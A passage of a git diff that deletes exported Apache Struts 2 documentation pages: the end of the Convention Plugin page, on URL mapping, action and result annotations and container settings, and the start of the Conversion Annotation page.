-</div></div><p>Next, the plugin determines the URL of the resource using the class name. It first removes the word <strong>Action</strong> from the end of the class name and then converts camel case names to dashes. In our example the full URLs would be:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Full URLs</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">com.example.actions.MainAction -&gt; /main
-com.example.actions.products.Display -&gt; /products/display
-com.example.struts.company.details.ShowCompanyDetailsAction -&gt; /company/details/show-company-details
-</pre>
-</div></div><p>You can tell the Convention plugin to ignore certain packages using the property <code>struts.convention.exclude.packages</code>. You can also tell the plugin to use different strings to locate root packages using the property <code>struts.convention.package.locators</code>. Finally, you can tell the plugin to search specific root packages using the property <code>struts.convention.action.packages</code>.</p><p>Here is our code behind action class:</p><div class="code pane [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-
-public class HelloWorld extends ActionSupport {
-  private String message;
-
-  public String getMessage() {
-    return message;
-  }
-
-  public String execute() {
-    message = "Hello World!";
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>If you compile this class and place it into your application in the WEB-INF/classes, the Convention plugin will find the class and map the URL <strong>/hello-world</strong> to it. Next, we need to update our JSP to print out the message we setup in the action class. Here is the new JSP:</p><div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>WEB-INF [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;html&gt;
-&lt;body&gt;
-The message is ${message}
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please notice that the expression <code>${message</code><span>}</span> will work without adding JSP directive <code>isELIgnored="false"</code>.</p></div></div><p>&#160;</p><p>If start up the application server and open up <a shape="rect" class="external- [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">The message is Hello World!
-</pre>
-</div></div><h1 id="ConventionPlugin-Resultsandresultcodes">Results and result codes</h1><p>The Convention Plugin will pre-configure all of you action classes when Struts is started. By default, this configuration will also contain results for any JSPs that it can find within the application. The JSPs have an additional feature that allows different JSPs to be used based on the result code of the action. Since action methods return Strings and these Strings are traditionally used to loca [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-
-public class HelloWorld extends ActionSupport {
-  private String message;
-
-  public String getMessage() {
-    return message;
-  }
-
-  public String execute() {
-    if (System.currentTimeMillis() % 2 == 0) {
-      message = "It's 0";
-      return "zero";
-    }
-
-    message = "It's 1";
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>Next, we add a new JSP to the application named <code>WEB-INF/content/hello-world-zero.jsp</code>. Notice that the first part of the file name is the same as the URL of the action and the last part of the name is the result code. This is the convention that the plugin uses to determine which results to render. Here is our new JSP:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>WEB-INF/c [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;html&gt;
-&lt;body&gt;
-The error message is ${message}
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div><p>Now, if you compile the action and restart the application, based on the current time, you'll either see the result from <code>WEB-INF/content/hello-world.jsp</code> or <code>WEB-INF/content/hello-world-zero.jsp</code>.</p><p>The result type is based on the extension of the file. The supported extensions are: jsp,ftl,vm,html,html. Examples of Action and Result to Template mapping:</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan= [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@Action(results = {
-    @Result(name={"error", "input"}, location="input-form.jsp"),
-    @Result(name="success", location="success.jsp")
-})</pre>
-</div></div><p><span style="line-height: 1.42857;">Such functionality was added in Struts 2.5</span></p><h1 id="ConventionPlugin-Chaining">Chaining</h1><p>If one action returns the name of another action in the same package, they will be chained together, if the first action doesn't have any result defined for that code. In the following example:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>com.exam [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.Action;
-import com.opensymphony.xwork2.ActionSupport;
-
-public class HelloAction extends ActionSupport {
-    @Action("foo")
-    public String foo() {
-        return "bar";
-    }
-
-    @Action("foo-bar")
-    public String bar() {
-        return SUCCESS;
-    }
-}
-</pre>
-</div></div><p>The "foo" action will be executed, because no result is found, the Convention plugin tries to find an action named "foo-bar" on the same package where "foo" is defined. If such an action is found, it will be invoked using the "chain" result.</p><h1 id="ConventionPlugin-XWorkpackages">XWork packages</h1><p>Actions are placed on a custom XWork package which prevents conflicts. The name of this package is based on the Java package the action is defined in, the namespace part  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;java-package&gt;#&lt;namespace&gt;#&lt;parent-package&gt;
-</pre>
-</div></div><p>Using our example from above, the XWork package for our action would be:</p><div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>XWork package naming</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">com.example.actions#/#conventionDefault
-</pre>
-</div></div><h1 id="ConventionPlugin-Annotationreference">Annotation reference</h1><p>The Convention plugin uses a number of different annotations to override the default conventions that are used to map actions to URLs and locate results. In addition, you can modify the parent XWork package that actions are configured with.</p><h2 id="ConventionPlugin-Actionannotation">Action annotation</h2><p>The Convention plugin allows action classes to change the URL that they are mapped to using th [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-
-public class HelloWorld extends ActionSupport {
-  @Action("/different/url")
-  public String execute() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>Our action class will now map to the URL <code>/different/url</code> rather than <code>/hello-world</code>. If no <code>@Result</code> (see next section) is specified, then the namespace of the action will be used as the path to the result, on our last example it would be <code>/WEB-INF/content/different/url.jsp</code>.</p><p>A single method within an action class can also map to multiple URLs using the <strong>Actions</strong> annotation like this:</p><div class="code pan [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Actions;
-
-public class HelloWorld extends ActionSupport {
-  @Actions({
-    @Action("/different/url"),
-    @Action("/another/url")
-  })
-  public String execute() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>Another usage of the <strong>Action</strong> or <strong>Actions</strong> annotation is to define multiple action methods within a single action class, each of which respond to a different URL. Here is an example of multiple action methods:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>com.example.actions.HelloWorld</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Actions;
-
-public class HelloWorld extends ActionSupport {
-  @Action("/different/url")
-  public String execute() {
-    return SUCCESS;
-
-
-  }
-
-  @Action("url")
-  public String doSomething() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>The previous example defines a second URL that is not fully qualified. This means that the namespace for the URL is determined using the Java package name rather than the Action annotation.</p><p>Interceptor and interceptor stacks can be specified using the <code>interceptorRefs</code> attribute. The following example applies the <code>validation</code> interceptor and the <code>defaultStack</code> interceptor stack to the action:</p><div class="code panel pdl" style="bord [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Actions;
-
-public class HelloWorld extends ActionSupport {
-  @Action(interceptorRefs={@InterceptorRef("validation"), @InterceptorRef("defaultStack")})
-  public String execute() {
-    return SUCCESS;
-  }
-
-  @Action("url")
-  public String doSomething() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>Parameters can be passed to results using the <strong>params</strong> attribute. The value of this attribute is a string array with an even number of elements in the form {"key0", "value0, "key1", "value1" ... "keyN", "valueN"}. For example:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>com.example.actions.HelloWorld</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Actions;
-
-public class HelloWorld extends ActionSupport {
-  @Action(interceptorRefs=@InterceptorRef(value="validation",params={"programmatic", "false", "declarative", "true}))
-  public String execute() {
-    return SUCCESS;
-  }
-
-  @Action("url")
-  public String doSomething() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>If interceptors are not specified, the default stack is applied.</p><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>You can specify className parameter which can be especially useful when Spring Framework is used to instantiate actions.</p></div></div><h3 id="ConventionPlugin-Applying@Actionand [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Actions;
-
-@InterceptorRefs({
-    @InterceptorRef("interceptor-1"),
-    @InterceptorRef("defaultStack")
-})
-public class HelloWorld extends ActionSupport {
-  @Action(value="action1", interceptorRefs=@InterceptorRef("validation"))
-  public String execute() {
-    return SUCCESS;
-  }
-
-  @Action(value="action2")
-  public String doSomething() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>The following interceptors will be applied to "action1": <code>interceptor-1</code>, all interceptors from <code>defaultStack</code>, <code>validation</code>.<br clear="none"> All interceptors from <code>defaultStack</code> will be applied to "action2".</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-bod [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Actions;
-import org.apache.struts2.convention.annotation.Result;
-import org.apache.struts2.convention.annotation.Results;
-
-@Results({
-  @Result(name="failure", location="fail.jsp")
-})
-public class HelloWorld extends ActionSupport {
-  @Action(value="/different/url",
-    results={@Result(name="success", location="http://struts.apache.org", type="redirect")}
-  )
-  public String execute() {
-    return SUCCESS;
-  }
-
-  @Action("/another/url")
-
-  public String doSomething() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>Parameters can be passed to results using the <strong>params</strong> attribute. The value of this attribute is a string array with an even number of elements in the form {"key0", "value0, "key1", "value1" ... "keyN", "valueN"}. For example:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>com.example.actions.HelloWorld</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Actions;
-import org.apache.struts2.convention.annotation.Result;
-import org.apache.struts2.convention.annotation.Results;
-
-public class HelloWorld extends ActionSupport {
-  @Action(value="/different/url",
-    results={@Result(name="success", type="httpheader", params={"status", "500", "errorMessage", "Internal Error"})}
-  )
-  public String execute() {
-    return SUCCESS;
-  }
-
-  @Action("/another/url")
-  public String doSomething() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>From 2.1.7 on, global results (defined on the class level) defined using annotations will be inherited. Child classes can override the inherited result(s) by redefining it. Also, results defined at the method level take precedence (overwrite), over results with the same name at the action level.</p><h2 id="ConventionPlugin-Namespaceannotation">Namespace annotation</h2><p>The namespace annotation allows the namespace for action classes to be changed instead of using the con [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.Namespace;
-
-@Namespace("/custom")
-public class HelloWorld extends ActionSupport {
-  @Action("/different/url")
-  public String execute() {
-    return SUCCESS;
-  }
-
-  @Action("url")
-  public String doSomething() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>In this example, the action will respond to two different URLs <code>/different/url</code> and <code>/custom/url</code>.</p><p>Here is an example of using this annotation in the package-info.java file:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>com/example/actions/package-info.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@org.apache.struts2.convention.annotation.Namespace("/custom")
-package com.example.actions;
-</pre>
-</div></div><p>This changes the default namespace for all actions defined in the package <code>com.example.actions</code>. This annotation however doesn't apply to sub-packages.</p><h2 id="ConventionPlugin-ResultPathannotation">ResultPath annotation</h2><p>The ResultPath annotation allows applications to change the location where results are stored. This annotation can be placed on an action class and also in the package-info.java file. Here is an example of using this annotation:</p><di [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.ResultPath;
-
-@ResultPath("/WEB-INF/jsps")
-public class HelloWorld extends ActionSupport {
-  public String execute() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>The result for this class will be located in <code>WEB-INF/jsps</code> rather than the default of <code>WEB-INF/content</code>.</p><h2 id="ConventionPlugin-ParentPackageannotation">ParentPackage annotation</h2><p>The ParentPackage annotation allows applications to define different parent Struts package for specific action classes or Java packages. Here is an example of using the annotation on an action class:</p><div class="code panel pdl" style="border-width: 1px;"><div c [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package com.example.actions;
-
-import com.opensymphony.xwork2.ActionSupport;
-import org.apache.struts2.convention.annotation.Action;
-import org.apache.struts2.convention.annotation.ParentPackage;
-
-@ParentPackage("customXWorkPackage")
-public class HelloWorld extends ActionSupport {
-  public String execute() {
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div><p>To apply this annotation to all actions in a package (and subpackages), add it to package-info.java. An alternative to this annotation is to set <code>struts.convention.default.parent.package</code> in XML.</p><h2 id="ConventionPlugin-ExceptionMappingAnnotation">ExceptionMapping Annotation</h2><p>This annotation can be used to define exception mappings to actions. See the <a shape="rect" href="exception-configuration.html">exception mapping documentation</a> for more detai [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@ExceptionMappings({
-    @ExceptionMapping(exception = "java.lang.NullPointerException", result = "success", params = {"param1", "val1"})
-})
-public class ExceptionsActionLevelAction {
-
-    public String execute() throws Exception {
-        return null;
-    }
-}
-</pre>
-</div></div><p>The parameters defined by <code>params</code> are passed to the result. Exception mappings can also be applied to the action level:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class ExceptionsMethodLevelAction {
-    @Action(value = "exception1", exceptionMappings = {
-            @ExceptionMapping(exception = "java.lang.NullPointerException", result = "success", params = {"param1", "val1"})
-    })
-    public String run1() throws Exception {
-        return null;
-    }
-}
-</pre>
-</div></div><h1 id="ConventionPlugin-Actionsinjarfiles">Actions in jar files</h1><p>By default the Convention plugin will <strong>not</strong> scan jar files for actions. For a jar to be scanned, its URL needs to match at least one of the regular expressions in <code>struts.convention.action.includeJars</code>. In this example <code>myjar1.jar</code> and <code>myjar2.jar</code> will be scanned:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.convention.action.includeJars" value=".*?/myjar1.*?jar(!/)?,.*?/myjar2*?jar(!/)?"
-</pre>
-</div></div><p>Note that <strong>the regular expression will be evaluated against the URL of the jar, and not the file name</strong>, the jar URL can contain a path to the jar file and a trailing "!/".</p><h1 id="ConventionPlugin-Automaticconfigurationreloading">Automatic configuration reloading</h1><p>The Convention plugin can automatically reload configuration changes, made in classes the contain actions, without restarting the container. This is a similar behavior to the automatic xml [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.devMode" value="true"/&gt;
-&lt;constant name="struts.convention.classes.reload" value="true" /&gt;
-</pre>
-</div></div><p>This feature is experimental and has not been tested on all container, and it is <strong>strongly</strong> advised not to use it in production environments.</p><h1 id="ConventionPlugin-JBoss">JBoss</h1><p>When using this plugin with JBoss, you need to set the following constants:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.convention.exclude.parentClassLoader" value="true" /&gt;
-&lt;constant name="struts.convention.action.fileProtocols" value="jar,vfsfile,vfszip" /&gt;
-</pre>
-</div></div><p>You can also check the <a shape="rect" href="jboss-5.html">JBoss 5</a>&#160;page for more details.</p><h1 id="ConventionPlugin-Jetty(embedded)">Jetty (embedded)</h1><p>When using this plugin with Jetty in embedded mode, you need to set the following constants:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.convention.exclude.parentClassLoader" value="false" /&gt;
-&lt;constant name="struts.convention.action.fileProtocols" value="jar,code-source" /&gt;
-</pre>
-</div></div><h1 id="ConventionPlugin-Troubleshooting">Troubleshooting</h1><h2 id="ConventionPlugin-Tips">Tips</h2><div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Namespaces and Results</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Make sure the namespace of the action is matched by one of the locators. The rest of the namespace after the l [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;bean type="org.apache.struts2.convention.ActionConfigBuilder" name="convention" class="org.apache.struts2.convention.PackageBasedActionConfigBuilder"/&gt;
-This interface defines how the action configurations for the current web application can be constructed. This must find all actions that are not specifically defined in the struts XML files or any plugins. Furthermore, it must make every effort to locate all action results as well.
-
-&lt;bean type="org.apache.struts2.convention.ActionNameBuilder" name="convention" class="org.apache.struts2.convention.SEOActionNameBuilder"/&gt;
-This interface defines the method that is used to create action names based on the name of a class.
-
-&lt;bean type="org.apache.struts2.convention.ResultMapBuilder" name="convention" class="org.apache.struts2.convention.DefaultResultMapBuilder"/&gt;
-This interface defines how results are constructed for an Action. The action information is supplied and the result is a mapping of ResultConfig instances to the result name.
-
-&lt;bean type="org.apache.struts2.convention.InterceptorMapBuilder" name="convention" class="org.apache.struts2.convention.DefaultInterceptorMapBuilder"/&gt;
-This interface defines how interceptors are built from annotations.
-
-&lt;bean type="org.apache.struts2.convention.ConventionsService" name="convention" class="org.apache.struts2.convention.ConventionsServiceImpl"/&gt;
-This interface defines the conventions that are used by the convention plugin. In most cases the methods on this class will provide the best default for any values and also handle locating overrides of the default via the annotations that are part of the plugin.
-
-&lt;constant name="struts.convention.actionConfigBuilder" value="convention"/&gt;
-&lt;constant name="struts.convention.actionNameBuilder" value="convention"/&gt;
-&lt;constant name="struts.convention.resultMapBuilder" value="convention"/&gt;
-&lt;constant name="struts.convention.interceptorMapBuilder" value="convention"/&gt;
-&lt;constant name="struts.convention.conventionsService" value="convention"/&gt;
-</pre>
-</div></div><p>To plugin a different implementation for one of these classes, implement the interface, define a bean for it, and set the appropriate constant's value with the name of the new bean, for example:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;bean type="org.apache.struts2.convention.ActionNameBuilder" name="MyActionNameBuilder" class="example.SultansOfSwingNameBuilder"/&gt;
-&lt;constant name="struts.convention.actionNameBuilder" value="MyActionNameBuilder"/&gt;
-</pre>
-</div></div><h1 id="ConventionPlugin-Configurationreference">Configuration reference</h1><p>Add a <strong>constant</strong> element to your struts config file to change the value of a configuration setting, like:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.convention.result.path" value="/WEB-INF/mytemplates/"/&gt;
-</pre>
-</div></div><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Name</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Default Value</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>Description</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>struts.convention.action.alwaysMapExecute</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>true</p></td><td colspan="1" rowspan="1" [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/conversion-annotation.html b/content/docs/conversion-annotation.html
deleted file mode 100644
index ed3c8e1..0000000
--- a/content/docs/conversion-annotation.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Conversion Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="conversion-annotation.html">Conversion Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Conversion Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14180">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14180">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14180">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14180">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14180">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14180">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>A marker annotation for type conversions at Type level.</p>
-
-<h2 id="ConversionAnnotation-Usage">Usage</h2>
-
-<p>The Conversion annotation must be applied at Type level.</p>
-
-<h2 id="ConversionAnnotation-Parameters">Parameters</h2>
-
-<p><table summary=""><thead><tr><th colspan="1" rowspan="1">Parameter</th><th colspan="1" rowspan="1">Required</th><th colspan="1" rowspan="1">Default</th><th colspan="1" rowspan="1">Description</th></tr></thead><tbody><tr><td colspan="1" rowspan="1">conversion</td><td colspan="1" rowspan="1">no</td><td colspan="1" rowspan="1">&#160;</td><td colspan="1" rowspan="1">used for Type Conversions applied at Type level.</td></tr></tbody></table></p>
-
-<h2 id="ConversionAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@Conversion(
-    conversions = {
-         // key must be the name of a property for which converter should be used
-         @TypeConversion(key = &quot;date&quot;, converter = &quot;org.demo.converter.DateConverter&quot;)
-    }
-)
-public class ConversionAction implements Action {
-
-    private Date date;
-
-    public setDate(Date date) {
-        this.date = date;
-    }
-
-    public Date getDate() {
-        return date;
-    }
-
-}
-
-]]></script>
-</div></div>
-
-<p>Check also <a shape="rect" href="typeconversion-annotation.html">TypeConversion Annotation</a> for more examples!</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
